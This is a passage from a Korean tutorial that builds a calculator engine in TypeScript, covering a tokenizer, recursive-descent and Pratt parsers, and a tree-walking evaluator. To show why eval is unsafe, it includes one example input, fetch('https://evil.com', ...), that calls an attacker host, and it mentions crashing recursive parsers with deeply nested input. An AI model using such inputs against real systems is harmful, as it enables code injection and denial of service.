계산기 엔진 만들기

Soulver라는 앱이 있다. 메모장처럼 생긴 화면에 "커피 4,500원 × 3 + 버스 1,500원"이라고 적으면 오른쪽에 15,000원이 나타난다. "3km + 200m"라고 적으면 3.2km가 나오고, 위에서 계산한 값을 아래 줄에서 변수처럼 가져다 쓸 수도 있다. 처음 써보면 마술 같지만, 조금 지나면 다른 궁금증이 생긴다. 저 문자열은 대체 어떤 과정을 거쳐 답이 되는 걸까?

이 질문은 생각보다 넓은 곳에 닿아 있다. 엑셀의 수식 입력줄, Notion의 formula 필드, 구글 검색창에 "3 * 27"을 치면 나오는 계산기, JavaScript 진영에서 널리 쓰이는 mathjs 라이브러리. 전부 같은 문제를 풀고 있다. 사람이 쓴 수식 문자열을 받아서 계산 결과를 돌려주는 것. 이런 물건을 이 글에서는 계산기 엔진이라고 부르겠다.

이번 글에서는 계산기 엔진을 바닥부터 만들어본다. 미리 말해두자면 목표는 프로덕션에서 쓸 물건이 아니다. 실무라면 mathjs를 쓰는 편이 낫다. 그런데도 직접 만들어볼 가치가 충분한 이유는, 계산기 엔진이 사실상 프로그래밍 언어의 축소판이기 때문이다. 문자열을 토큰으로 쪼개고, 토큰을 트리로 엮고, 트리를 순회하며 실행하는 이 구조는 TypeScript 컴파일러에도, SQL 파서에도, 우리가 매일 쓰는 린터에도 똑같이 들어 있다. 컴파일러 수업 한 학기 분량의 뼈대를 계산기라는 만만한 크기로 익힐 수 있는 셈이다.

예전에 난해한 프로그래밍 언어 만들어보기에서 Brainfuck 인터프리터를 만든 적이 있는데, 그때는 문법이 워낙 단순해서(문자 하나가 명령 하나였다) 파서라고 부를 만한 것이 필요 없었다. 이번에는 우선순위와 괄호와 함수가 있는 진짜 문법을 다룬다. 언어는 TypeScript를 쓰고, 외부 라이브러리는 하나도 쓰지 않는다. 글에 나오는 코드는 전부 실제로 실행해 확인한 것이다.

문자열은 아직 아무것도 아니다

시작하기 전에 문제를 정확히 해두자. 우리가 받는 입력은 "1 + 2 * 3"이라는 문자열이다. 컴퓨터 입장에서 이것은 그냥 문자 아홉 개가 늘어선 배열이다. '1', ' ', '+', ' ', '2', ... 여기에는 "더하기"도 "곱하기"도 없다. 숫자 7로 가려면 이 문자 배열에 구조를 부여해야 한다.

JavaScript 개발자라면 이 시점에 한 가지 유혹이 스친다. eval("1 + 2 * 3")을 부르면 7이 나온다. 실제로 "javascript calculator"를 검색하면 eval로 만든 예제가 지금도 수두룩하다. 하지만 이 길은 금방 막힌다.

첫째, 보안 문제다. eval은 수식만 실행하는 것이 아니라 모든 JavaScript 코드를 실행한다. 사용자가 입력창에 fetch('https://evil.com', ...)을 넣으면 그대로 실행된다. 어드민에 수식 필드를 넣어달라는 요청을 받고 eval을 썼다가는 수식 필드가 아니라 원격 코드 실행 취약점을 납품하게 된다.

둘째, 문법을 통제할 수 없다. 10% of 80이나 3km + 200m는 JavaScript 문법이 아니므로 eval은 에러를 낼 뿐이고, 계산기다운 기능을 하나라도 넣으려는 순간 남의 언어를 빌려 쓰는 방식은 끝난다. 문법을 통제할 수 없다는 것은 곧 에러도 통제할 수 없다는 뜻이기도 하다. 사용자가 (1 + 2라고 입력했을 때 "괄호가 닫히지 않았습니다, 3번째 위치"라고 알려주고 싶어도, eval이 던지는 SyntaxError: Unexpected end of input을 받아서 보여주는 것이 최선이다.

셋째, 숫자 표현을 통제할 수 없다. eval("0.1 + 0.2")는 0.30000000000000004를 돌려준다. 이것이 왜 그런지, 그리고 계산기에서 왜 치명적인지는 뒤에서 길게 다룬다.

그래서 직접 만든다. 다행히 이 문제는 이미 반세기 넘게 연구된 분야고, 정석 구조가 있다. 거의 모든 언어 처리기는 다음 세 단계로 움직인다.

1. 토큰화(tokenization): 문자의 나열을 의미 있는 단어 단위로 묶는다. "12 + 3.5" → [12] [+] [3.5]
2. 파싱(parsing): 단어의 나열을 문법 구조, 즉 트리로 엮는다. 1 + 2 * 3 → "1과 (2 곱하기 3)의 합"
3. 평가(evaluation): 트리를 순회하며 실제 계산을 수행한다. → 7

사람이 수식을 읽는 과정과 정확히 같다. 우리도 12+3을 볼 때 "일, 이, 더하기, 삼"이라는 글자로 읽지 않고 "십이 더하기 삼"이라는 단어로 읽는다(토큰화). 그다음 곱셈을 덧셈보다 먼저 묶고(파싱), 마지막으로 계산한다(평가). 이제 이 세 단계를 하나씩 만들어보자.

토큰화: 글자를 단어로 묶는다

첫 단계는 문자 배열을 토큰(token)의 배열로 바꾸는 일이다. 토큰은 문법적으로 의미를 갖는 최소 단위다. 숫자 하나, 연산자 하나, 괄호 하나가 각각 토큰이다. 이 일을 하는 코드를 토크나이저(tokenizer) 또는 렉서(lexer)라고 부른다.¹

먼저 토큰의 생김새를 정한다.

type TokenType =
  "number" | "ident" | "op" | "lparen" | "rparen" | "comma" | "eof";

interface Token {
  type: TokenType;
  value: string;
  pos: number; // 원본 문자열에서의 시작 위치
}

pos를 눈여겨보자. 지금 당장은 쓸모가 없지만, 나중에 에러가 났을 때 "위치 5의 문자를 이해할 수 없다"라고 알려주려면 각 토큰이 원본 어디에서 왔는지 기억하고 있어야 한다. 좋은 에러 메시지를 만들려면 이렇게 파이프라인의 첫 단계부터 위치 정보를 흘려보내 마지막까지 전달해야 한다.

eof(end of file)는 입력의 끝을 나타내는 가짜 토큰이다. 이런 걸 왜 만드나 싶겠지만, 파서가 "다음 토큰"을 들여다볼 때마다 배열 범위를 검사하는 대신 항상 마지막에 eof가 있다고 믿을 수 있으면 코드가 눈에 띄게 단순해진다.

토크나이저 본체는 문자열을 앞에서부터 한 글자씩 읽으며 상태에 따라 토큰을 만들어내는 반복문이다.

function tokenize(input: string): Token[] {
  const tokens: Token[] = [];
  let i = 0;

  while (i < input.length) {
    const ch = input[i];

    // 공백은 토큰이 아니다. 그냥 지나간다.
    if (ch === " " || ch === "\t") {
      i++;
      continue;
    }

    // 숫자: 연속된 숫자를 소수점 하나까지 포함해 통째로 읽는다
    if (isDigit(ch)) {
      const start = i;
      while (i < input.length && isDigit(input[i])) i++;
      if (input[i] === "." && isDigit(input[i + 1])) {
        i++; // 소수점
        while (i < input.length && isDigit(input[i])) i++;
      }
      tokens.push({
        type: "number",
        value: input.slice(start, i),
        pos: start,
      });
      continue;
    }

    // 이름: 변수나 함수 이름이 될 글자 덩어리
    if (isLetter(ch)) {
      const start = i;
      while (i < input.length && (isLetter(input[i]) || isDigit(input[i]))) i++;
      tokens.push({
        type: "ident",
        value: input.slice(start, i),
        pos: start,
      });
      continue;
    }

    // 연산자와 구분자
    if ("+-*/^".includes(ch)) {
      tokens.push({ type: "op", value: ch, pos: i });
      i++;
      continue;
    }
    if (ch === "(") {
      tokens.push({ type: "lparen", value: ch, pos: i });
      i++;
      continue;
    }
    if (ch === ")") {
      tokens.push({ type: "rparen", value: ch, pos: i });
      i++;
      continue;
    }
    if (ch === ",") {
      tokens.push({ type: "comma", value: ch, pos: i });
      i++;
      continue;
    }

    throw new Error(`이해할 수 없는 문자 '${ch}' (위치 ${i})`);
  }

  tokens.push({ type: "eof", value: "", pos: input.length });
  return tokens;
}

isDigit과 isLetter는 문자 하나를 판별하는 한 줄짜리 도우미다.

const isDigit = (ch: string) => ch >= "0" && ch <= "9";
const isLetter = (ch: string) => /[a-zA-Z가-힣_]/.test(ch);

isLetter가 한글을 허용한다는 점을 기억해두자. 나중에 한글 변수명이 공짜로 생긴다. 토크나이저 코드가 길어 보여도 하는 일은 단순하다. 현재 문자를 보고 어떤 종류의 토큰이 시작되는지 판단한 다음, 그 토큰이 계속되는 동안 문자를 이어 붙인다.

여기서 중요한 규칙이 하나 숨어 있다. 12를 만나면 토큰 1과 2가 아니라 토큰 12 하나를 만들어야 한다. 즉 가능한 한 길게 읽는다. 이 규칙을 최장 일치(maximal munch)라고 부른다.² 소수점 처리도 같은 원리다. 3.5를 읽을 때 숫자를 읽다가 소수점을 만나면, 소수점 뒤에 숫자가 이어지는지 확인하고 이어진다면 계속 읽는다. 덕분에 3.5는 토큰 하나가 되고, 3.처럼 어정쩡한 입력은 숫자 3 뒤에 알 수 없는 문자가 온 것으로 처리된다.

아래에서 직접 확인해보자. 수식을 입력하면 토크나이저가 만들어내는 토큰이 실시간으로 표시된다.

한 가지 궁금할 수 있다. 왜 토큰화를 따로 하는가? 파서가 문자를 직접 읽으면 안 되나? 물론 가능하고 실제로 그렇게 만든 처리기도 있다. 하지만 단계를 나누면 각 단계가 다루는 문제가 깨끗하게 갈린다. 토큰화는 "12와 1, 2를 구분하는" 문제고, 파싱은 "곱셈을 덧셈보다 먼저 묶는" 문제다. 앞의 것은 정규 표현식 수준의 도구로 풀리지만, 뒤의 것은 그렇지 않다. 괄호는 얼마든지 중첩될 수 있는데, 정규 표현식으로는 "여는 괄호와 닫는 괄호의 짝이 맞는지"를 검사할 수 없기 때문이다.³ 성격이 다른 두 문제를 한 코드에 섞지 않으려고 단계를 나누는 것이다.

우선순위는 트리 모양의 문제다

토큰 배열 [1] [+] [2] [*] [3]을 얻었다. 이제 이것을 계산하면 될 것 같지만, 왼쪽부터 차례로 계산하면 (1 + 2) * 3 = 9가 나와버린다. 정답은 7이다. 곱셈을 먼저 해야 한다는 것을 우리는 알지만, 토큰 배열은 그 사실을 담을 수 없다. 배열은 납작하기 때문이다.

필요한 것은 구조다. 1 + 2 * 3이라는 수식의 진짜 모습은 "1과, '2 곱하기 3'의 결과를 더한 것"이다. 문장으로 쓰니 벌써 계층이 생겼다. 이 계층을 그대로 자료구조로 옮기면 트리가 된다.

      (+)                (*)
     /   \              /   \
    1    (*)         (+)     3
        /   \       /   \
       2     3     1     2

   1 + 2 * 3      (1 + 2) * 3

왼쪽 트리에서 곱셈은 덧셈의 자식이다. 트리를 아래에서 위로 계산하면 곱셈이 먼저 계산될 수밖에 없다. 오른쪽 트리는 괄호를 친 경우로, 이번에는 덧셈이 아래에 있다. 연산자 우선순위란 결국 누가 트리의 아래쪽에 놓이느냐의 문제다. 우선순위가 높은 연산자일수록 아래에(먼저 계산되게), 낮은 연산자일수록 위에(나중에 계산되게) 놓인다. 괄호는 우선순위 규칙을 무시하고 트리 모양을 강제로 바꾸는 장치일 뿐이다.

이런 트리를 추상 구문 트리(AST, Abstract Syntax Tree)라고 부른다. "추상"이 붙는 이유는 계산에 필요 없는 것들을 버렸기 때문이다. 괄호 토큰은 트리 모양에 반영되고 나면 버려지고, 공백이 몇 칸이었는지도 남지 않아 구조만 남는다.⁴

우리 계산기의 AST 노드를 TypeScript 타입으로 정의하면 다음과 같다. 다섯 종류면 충분하다.

type Node =
  | { type: "num"; value: number } // 3.5
  | { type: "ident"; name: string } // pi
  | { type: "unary"; op: string; operand: Node } // -x
  | { type: "binary"; op: string; left: Node; right: Node } // a + b
  | { type: "call"; name: string; args: Node[] }; // max(a, b)

binary 노드의 left와 right가 다시 Node라는 점이 핵심이다. 노드 안에 노드가 들어가는 재귀적 정의라서 아무리 복잡한 수식도 담을 수 있다. 1 + 2 * 3은 이렇게 표현된다.

{
  type: 'binary', op: '+',
  left: { type: 'num', value: 1 },
  right: {
    type: 'binary', op: '*',
    left: { type: 'num', value: 2 },
    right: { type: 'num', value: 3 },
  },
}

우선순위 말고 결정할 것이 하나 더 있다. 10 - 4 - 3은 어떻게 묶어야 할까? (10 - 4) - 3 = 3과 10 - (4 - 3) = 9는 답이 다르다. 우리가 학교에서 배운 규칙은 왼쪽부터, 즉 (10 - 4) - 3이다. 이렇게 같은 우선순위의 연산자가 이어질 때 왼쪽부터 묶는 것을 좌결합(left-associative)이라고 한다. 대부분의 연산자는 좌결합이지만 예외가 있다. 거듭제곱 2 ^ 3 ^ 2는 관례상 2 ^ (3 ^ 2) = 512로, 오른쪽부터 묶는다(우결합).⁵ 결합 방향 역시 트리 모양의 문제다. 좌결합은 트리가 왼쪽으로 자라고, 우결합은 오른쪽으로 자란다.

아래 데모에서 수식이 어떤 트리가 되는지 확인할 수 있다. 1 + 2 * 3과 (1 + 2) * 3, 그리고 2 ^ 3 ^ 2를 넣어보자.

이제 문제가 명확해졌다. 납작한 토큰 배열을 우선순위와 결합 방향에 맞는 트리로 바꾸는 것. 이 일을 하는 코드가 파서다.

문법을 코드로 옮기면 파서가 된다

파서를 짜기 전에, 우리 계산기가 받아들일 수식이 무엇인지부터 적어보자. 언어의 문법을 적는 표준 표기법이 있다. BNF(Backus-Naur Form)라고 부르는데, 1960년 ALGOL 60이라는 언어의 보고서에서 쓰이며 정착한 이래 지금까지 쓰이고 있다.⁶ 우리 계산기의 문법은 다음과 같다.

expression := term (("+" | "-") term)*
term       := factor (("*" | "/") factor)*
factor     := "-" factor | power
power      := primary ("^" factor)?
primary    := NUMBER | IDENT | IDENT "(" args ")" | "(" expression ")"

읽는 법은 간단하다. :=의 왼쪽은 규칙의 이름이고 오른쪽은 그 정의다. |는 "또는", *는 "0번 이상 반복", ?는 "있어도 되고 없어도 된다"는 뜻이다. 첫 줄을 우리말로 풀면 "수식(expression)이란 항(term)이 하나 있고, 그 뒤에 '+나 - 다음에 항'이 0번 이상 반복되는 것"이다.

이 다섯 줄에는 앞 장에서 이야기한 우선순위와 결합 방향이 전부 들어 있다. 요령은 우선순위가 낮은 것부터 위에 적고, 각 규칙이 자기보다 한 단계 높은 규칙을 부품으로 쓰게 하는 것이다. expression(덧셈 수준)은 term(곱셈 수준)들로 이루어지고, term은 factor들로 이루어진다. 덧셈의 부품이 곱셈이므로, 곱셈이 언제나 트리의 더 깊은 곳에 만들어진다. 우선순위가 문법의 층으로 표현된 것이다.

그리고 primary의 마지막 항목을 보자. 괄호 안에는 expression, 즉 문법의 맨 꼭대기가 다시 나온다. 문법이 자기 자신을 참조하는 이 재귀 덕분에 ((1 + 2) * (3 + 4)) 같은 무한 중첩이 다섯 줄 문법으로 처리된다.

이제 놀랄 차례다. 이 문법은 그대로 코드가 된다. 규칙 하나가 함수 하나가 된다. 규칙이 다른 규칙을 참조하면 함수가 그 함수를 호출하고, 문법이 재귀하면 함수도 재귀한다. 이런 파서를 재귀 하강 파서(recursive descent parser)라고 부른다. 문법의 꼭대기에서 출발해 아래로 내려가며(하강) 재귀하기 때문이다.

파서의 뼈대부터 만들자. 파서는 토큰 배열과 "지금 몇 번째 토큰을 보고 있는지"를 들고 다닌다.

class Parser {
  private tokens: Token[];
  private current = 0;

  constructor(tokens: Token[]) {
    this.tokens = tokens;
  }

  private peek(): Token {
    // 현재 토큰을 확인만 한다
    return this.tokens[this.current];
  }

  private next(): Token {
    // 현재 토큰을 소비하고 다음으로 넘어간다
    return this.tokens[this.current++];
  }

  private expect(type: TokenType): Token {
    // 기대한 토큰이 아니면 에러
    const token = this.peek();
    if (token.type !== type) {
      throw new Error(
        `${type}이 와야 하는데 '${token.value || "입력 끝"}'을 만났다 (위치 ${token.pos})`,
      );
    }
    return this.next();
  }
}

peek은 훔쳐보기만 하고 next는 소비한다. 파서 전체가 이 두 동작의 조합이다. 이제 문법 규칙을 위에서부터 함수로 옮긴다.

// expression := term (("+" | "-") term)*
private expression(): Node {
  let left = this.term();
  while (this.peek().type === 'op' && (this.peek().value === '+' || this.peek().value === '-')) {
    const op = this.next().value;
    const right = this.term();
    left = { type: 'binary', op, left, right };
  }
  return left;
}

문법의 (... term)* 반복이 while 루프가 됐다. 이 루프의 마지막 줄을 잘 보자. 새 노드를 만들 때 지금까지 만든 left를 왼쪽 자식으로 넣는다. 10 - 4 - 3을 처리하면 첫 바퀴에서 (10 - 4)가 만들어지고, 두 번째 바퀴에서 그 전체가 왼쪽 자식으로 들어가 ((10 - 4) - 3)이 된다. 트리가 왼쪽으로 자란다. 좌결합이 반복문 한 줄에서 나온 것이다.

여기서 잠깐, 왜 문법을 expression := expression "+" term처럼 적지 않았는지 짚고 가자. 수학적으로는 그쪽이 더 자연스러워 보인다. 하지만 그 규칙을 그대로 함수로 옮기면 expression()의 첫 줄이 this.expression()이 된다. 토큰을 하나도 소비하지 않고 자기 자신을 부르니 무한 재귀다. 이것을 좌재귀(left recursion) 문제라고 하는데, 재귀 하강 파서의 유명한 아킬레스건이다. 좌재귀 문법을 반복문 형태로 고쳐 쓰는 것이 방금 본 while 루프였다.

term은 expression과 판박이니 건너뛰고, 나머지 규칙을 보자.

// factor := "-" factor | power
private factor(): Node {
  if (this.peek().type === 'op' && this.peek().value === '-') {
    this.next();
    return { type: 'unary', op: '-', operand: this.factor() };
  }
  return this.power();
}

// power := primary ("^" factor)?   — 오른쪽 재귀라서 우결합이 된다
private power(): Node {
  const base = this.primary();
  if (this.peek().type === 'op' && this.peek().value === '^') {
    this.next();
    const exponent = this.factor();
    return { type: 'binary', op: '^', left: base, right: exponent };
  }
  return base;
}

factor가 단항 마이너스를 처리한다. -를 만나면 소비하고 다시 factor를 부르므로 --3 같은 입력도 자연스럽게 처리된다. power는 결이 다르다. 좌결합을 만들 때는 반복문을 썼지만, 여기서는 ^ 뒤에서 재귀를 한다. 2 ^ 3 ^ 2를 처리하면 지수 자리에서 다시 파싱이 일어나 3 ^ 2가 먼저 묶인다. 오른쪽 재귀는 우결합을 만든다. 참고로 지수 자리가 primary가 아니라 factor인 것은 2 ^ -3처럼 지수에 단항 마이너스가 오는 입력을 받기 위해서다. factor는 다시 power로 내려오므로 우결합은 그대로 성립한다.

마지막으로 primary. 숫자, 이름, 함수 호출, 괄호를 처리한다.

// primary := NUMBER | IDENT | IDENT "(" args ")" | "(" expression ")"
private primary(): Node {
  const token = this.peek();

  if (token.type === 'number') {
    this.next();
    return { type: 'num', value: parseFloat(token.value) };
  }

  if (token.type === 'ident') {
    this.next();
    if (this.peek().type === 'lparen') {   // 이름 뒤에 괄호가 오면 함수 호출
      this.next();
      const args: Node[] = [];
      if (this.peek().type !== 'rparen') {
        args.push(this.expression());
        while (this.peek().type === 'comma') {
          this.next();
          args.push(this.expression());
        }
      }
      this.expect('rparen');
      return { type: 'call', name: token.value, args };
    }
    return { type: 'ident', name: token.value };
  }

  if (token.type === 'lparen') {
    this.next();
    const node = this.expression();   // 괄호 안에서 문법의 꼭대기로 되돌아간다
    this.expect('rparen');
    return node;
  }

  throw new Error(`숫자나 괄호가 와야 하는데 '${token.value || '입력 끝'}'을 만났다 (위치 ${token.pos})`);
}

괄호 처리가 세 줄이라는 점에 주목하자. 여는 괄호를 소비하고, expression()을 다시 부르고, 닫는 괄호를 확인한다. 중첩 깊이를 세는 카운터도, 스택 관리도 없다. 문법의 재귀가 함수 호출 스택의 재귀로 그대로 옮겨졌기 때문에, 괄호 중첩은 호출 스택이 공짜로 처리해준다.

에러 처리도 이미 들어 있다. (1 + 2를 파싱하면 expect('rparen')이 "rparen이 와야 하는데 '입력 끝'을 만났다 (위치 6)"라는 에러를 던진다. 토크나이저에서부터 흘려보낸 pos 덕분에 위치까지 정확하다. 파싱이 끝났는데 토큰이 남아 있는 경우(1 2 같은 입력)도 잡아야 하는데, 최상위에서 eof를 확인하면 된다.

여기까지 만든 파서는 실제로 동작한다. 1 + 2 * 3을 넣으면 앞 장에서 손으로 그린 것과 똑같은 트리가 나온다. 앞의 AST 데모가 바로 이 파서를 브라우저에서 실행한 것이다.

연산자를 표 한 줄로: Pratt 파싱

재귀 하강 파서는 훌륭하다. 문법이 코드에 그대로 보이고, 디버깅도 쉽다. mathjs의 파서도 손으로 쓴 재귀 하강이다. 그런데 한 가지 거슬리는 점이 있다. 비교 연산자 <를 추가하고 싶다고 하자. 덧셈보다 우선순위가 낮으므로 expression 위에 comparison 규칙을 새로 만들고, 함수를 하나 더 짜고, 기존 최상위 호출부를 전부 바꿔야 한다. 우선순위 단계 하나가 함수 하나이기 때문에, 우선순위 구조를 바꾸는 일이 코드 구조를 바꾸는 일이 된다. 실제 언어처럼 우선순위가 열 단계쯤 되면 거의 같은 모양의 함수가 열 개 생기고, 수식 하나를 파싱할 때마다 열 단계의 함수 호출을 통과해야 한다.

이 문제를 우아하게 푸는 방법이 1973년부터 알려져 있다. 본 프랫(Vaughan Pratt)이 제안한 방식이라 Pratt 파싱이라고 부르고, 우선순위 등반(precedence climbing)이라는 거의 같은 기법도 있다.⁷ 스택 두 개로 비슷한 일을 하는 다익스트라의 셔닝 야드(shunting-yard) 알고리즘도 고전으로 꼽히지만, 여기서는 재귀 하강에서 한 걸음만 옮기면 되는 Pratt 방식을 따라간다. 핵심 아이디어는 우선순위를 문법 구조가 아니라 숫자로 표현하는 것이다.

연산자마다 결합력(binding power)이라는 숫자를 준다. 피연산자를 얼마나 세게 잡아당기는지를 나타내는 값이다. 1 + 2 * 3에서 가운데의 2를 보자. 왼쪽에서는 +가, 오른쪽에서는 *가 2를 잡아당기고 있다.

1   +   2   *   3
  10↑   ↑20        ← 2를 당기는 힘

*의 힘이 세므로 2는 *에게 간다. 줄다리기에서 이긴 쪽과 먼저 묶이는 것이다. 이것이 우선순위의 전부다. 결합 방향도 같은 방식으로 표현할 수 있다. 연산자에게 왼손 힘과 오른손 힘을 따로 주면 된다.

// [왼쪽 힘, 오른쪽 힘] — 왼쪽 힘 < 오른쪽 힘이면 좌결합, 반대면 우결합
const BINDING_POWER: Record<string, [number, number]> = {
  "+": [10, 11],
  "-": [10, 11],
  "*": [20, 21],
  "/": [20, 21],
  "^": [31, 30], // 우결합
};

10 - 4 - 3에서 가운데 4를 보자. 왼쪽 -는 오른손(11)으로, 오른쪽 -는 왼손(10)으로 4를 당긴다. 11이 이기므로 4는 왼쪽 -와 묶여 (10 - 4)가 된다. 좌결합이다. ^는 반대로 왼손(31)이 오른손(30)보다 세므로, 2 ^ 3 ^ 2의 3은 오른쪽 ^에게 끌려가 3 ^ 2가 먼저 묶인다. 우결합이다. 앞 장에서 반복문과 재귀로 표현했던 결합 방향이 여기서는 숫자 두 개의 대소 관계에 담겨 있다.

이 아이디어를 실행하는 엔진은 함수 하나다.

private parseExpression(minBp: number): Node {
  let left = this.parsePrefix();   // 숫자, 이름, 괄호, 단항 마이너스

  while (true) {
    const token = this.peek();
    if (token.type !== 'op') break;

    const bp = BINDING_POWER[token.value];
    if (!bp || bp[0] < minBp) break;   // 내 기준보다 약한 연산자면 멈춘다

    this.next();
    const right = this.parseExpression(bp[1]);   // 오른손 힘을 기준으로 재귀
    left = { type: 'binary', op: token.value, left, right };
  }

  return left;
}

minBp는 "이 힘보다 약한 연산자를 만나면 멈춰라"라는 기준선이다. 최초 호출은 parseExpression(0)으로, 아무 연산자나 다 받겠다는 뜻이다. 1 + 2 * 3을 따라가 보자.

1. parseExpression(0): 1을 읽는다. +(왼손 10)는 기준선 0보다 세므로 진행. 오른쪽을 parseExpression(11)로 파싱한다.
2. parseExpression(11): 2를 읽는다. 다음 *(왼손 20)는 기준선 11보다 세므로 진행. 오른쪽을 parseExpression(21)로 파싱해 3을 얻고, 2 * 3 노드를 만든다. 입력 끝이니 반환.
3. 바깥 호출이 1 + (2 * 3) 노드를 완성한다.

반대로 1 * 2 + 3이라면 2단계에서 기준선이 21이 되는데, 다음 연산자 +의 왼손 힘은 10이라 기준선을 넘지 못한다. 안쪽 호출은 2만 들고 반환하고, 1 * 2가 먼저 묶인 뒤 바깥 루프가 +를 처리한다. 우선순위 단계가 몇 개든 함수는 이거 하나다.

빈칸으로 남겨둔 parsePrefix는 이항 연산자가 아닌 것들의 담당이다. 재귀 하강 파서의 primary에 단항 마이너스를 얹은 것과 같다.

private parsePrefix(): Node {
  const token = this.next();

  if (token.type === 'number') {
    return { type: 'num', value: parseFloat(token.value) };
  }

  if (token.type === 'op' && token.value === '-') {
    // 단항 마이너스는 곱셈보다 세게, 거듭제곱보다 약하게
    return { type: 'unary', op: '-', operand: this.parseExpression(25) };
  }

  if (token.type === 'lparen') {
    const node = this.parseExpression(0);
    this.expect('rparen');
    return node;
  }

  // 이름과 함수 호출 처리는 재귀 하강의 primary와 동일하다
  // ...
}

단항 마이너스가 함수 계층이 아니라 25라는 숫자 하나로 처리된 점을 보자. 25는 곱셈(20)보다 세고 거듭제곱(31)보다 약한 힘이라, -2 * 3은 (-2) * 3이 되고 -2 ^ 2는 -(2 ^ 2) = -4가 된다. 대부분 언어의 관례 그대로다.

이제 연산자 추가가 얼마나 싸졌는지 확인해보자. 비교 연산자 <를 넣고 싶으면 토크나이저의 연산자 문자 목록, 우선순위 표, 그리고 잠시 뒤에 만들 평가기의 switch에 각각 한 줄씩 더하면 끝난다. 재귀 하강에서라면 함수를 새로 만들고 호출 구조를 바꿔야 했던 일이다.

'<': [5, 6],                           // 우선순위 표에 한 줄
case '<': return left < right ? 1 : 0; // 평가기에 한 줄

1 + 2 < 2 * 3   // 1 (참: 3 < 6)
5 < 2 + 1       // 0 (거짓: 5 < 3)

덧셈보다 낮은 5라는 힘을 준 것만으로 1 + 2 < 2 * 3이 알아서 (1 + 2) < (2 * 3)으로 묶였다.

두 파서 중 무엇을 쓸지는 취향의 영역이다. 이 글의 계산기는 이후 장에서 Pratt 쪽을 확장해 나가겠지만, 재귀 하강으로 따라와도 아무 문제 없다. 참고로 만들 때는 두 파서에 같은 수식을 넣고 같은 트리가 나오는지 비교하는 테스트를 붙여두면 든든하다. 한쪽을 고치다 망가뜨려도 테스트가 바로 잡아준다.

트리를 걷는 인터프리터

파싱이 끝났으니 이제 계산이다. 세 단계 중 가장 쉬운 단계다. 트리 구조에 계산 순서가 이미 들어 있으므로, 트리를 재귀적으로 순회하며 각 노드가 시키는 일을 하면 된다.

function evaluate(node: Node, env: Environment): number {
  switch (node.type) {
    case "num":
      return node.value;

    case "unary":
      return -evaluate(node.operand, env);

    case "binary": {
      const left = evaluate(node.left, env);
      const right = evaluate(node.right, env);
      switch (node.op) {
        case "+":
          return left + right;
        case "-":
          return left - right;
        case "*":
          return left * right;
        case "/":
          if (right === 0) throw new Error("0으로 나눌 수 없다");
          return left / right;
        case "^":
          return left ** right;
        default:
          throw new Error(`모르는 연산자: ${node.op}`);
      }
    }

    // ident와 call은 다음 장에서
  }
}

binary 케이스를 보자. 자식들을 먼저 계산하고(evaluate 재귀 호출) 그 결과를 연산자로 합친다. 자식을 먼저, 부모를 나중에 방문하는 이 순서를 후위 순회(post-order traversal)라고 한다. 자료구조 수업에서 배우고 어디 쓰나 싶었던 그 순회가 여기서 쓰인다. 이렇게 AST를 직접 걸으며 실행하는 프로그램을 트리 워킹 인터프리터(tree-walking interpreter)라고 부른다.

이제 세 조각을 이어 붙이면 계산기가 완성된다.

function calculate(input: string): number {
  const tokens = tokenize(input); // "1 + 2 * 3"
  const ast = new PrattParser(tokens).parse(); // → 트리
  return evaluate(ast, createEnvironment()); // → 7
}

실제로 돌려본 결과다.

calculate('1 + 2 * 3')    // 7
calculate('(1 + 2) * 3')  // 9
calculate('10 - 4 - 3')   // 3
calculate('2 ^ 3 ^ 2')    // 512
calculate('-2 ^ 2')       // -4
calculate('1 / 0')        // Error: 0으로 나눌 수 없다
calculate('(1 + 2')       // Error: rparen이 와야 하는데 '입력 끝'을 만났다 (위치 6)

토크나이저부터 여기까지 200줄이 채 안 된다. 그리고 이 200줄의 구조는 진짜 언어 구현과 다르지 않다. Ruby의 초기 구현(1.8까지)도, 사파리 JavaScript 엔진의 전신인 KJS도 이런 트리 워킹 인터프리터였다. 다만 진짜 언어들은 성능 때문에 여기서 더 나아간다. 트리를 걷는 대신 트리를 바이트코드라는 납작한 명령어 배열로 한 번 변환해두고 실행하거나(Python, 현재의 Ruby), 아예 기계어로 컴파일한다(V8의 JIT). 하지만 그것은 실행 단계의 최적화일 뿐, 문자열이 트리가 되는 앞 단계는 어디서나 같다. 계산기는 사람이 타이핑하는 속도로만 입력이 들어오니 트리 워킹으로 충분하다.

한 가지 함정만 짚고 가자. 평가기가 재귀라는 것은 수식이 깊어지면 호출 스택도 깊어진다는 뜻이다. 1+1+1+...을 수만 번 이어 붙인 문자열을 넣으면 스택 오버플로가 난다. 좌결합 트리는 왼쪽으로 수만 층을 쌓기 때문이다. 사용자 입력을 받는 실제 서비스라면 수식 길이와 트리 깊이에 제한을 두는 것이 안전한데, 길이 1,000자에 깊이 100이면 사람이 손으로 칠 수 있는 어떤 수식보다 넉넉하면서 스택은 안전하다. 이 취약점 패턴(재귀 파서에 깊은 중첩 입력 넣기)은 JSON 파서에도 똑같이 존재한다.

0.1 + 0.2의 배신

계산기가 완성됐으니 자축하는 의미로 간단한 계산을 시켜보자.

calculate('0.1 + 0.2')  // 0.30000000000000004

계산기를 만들어놓고 0.1 더하기 0.2를 틀리는 것은 곤란하다. 사용자는 이걸 버그라고 부를 것이고, 그 판단은 정당하다. 그런데 이것은 우리 코드의 버그가 아니다. evaluate가 실행한 0.1 + 0.2라는 JavaScript 연산 자체가 저 값을 돌려준다. 대부분의 언어에서 같은 일이 벌어진다. 이유를 이해하려면 컴퓨터가 소수를 어떻게 저장하는지 봐야 한다.

먼저 익숙한 십진법에서 출발하자. 1/3을 십진 소수로 쓰면 0.3333...으로 끝나지 않는다. 3은 10의 약수가 아니기 때문이다. 유한한 자리에서 끊으면 반드시 오차가 남는다. 이제 같은 논리를 이진법에 적용해보자. 이진 소수의 각 자리는 1/2, 1/4, 1/8, ...을 나타내므로, 분모가 2의 거듭제곱인 분수만 유한하게 표현된다. 그런데 0.1은 1/10이고, 10에는 2 말고 5라는 소인수가 있다. 즉 0.1은 이진법으로는 무한소수다. 0.0001100110011...이 영원히 반복된다. 즉 0.1은 이진법의 세계에서는 어디선가 반올림될 수밖에 없다.

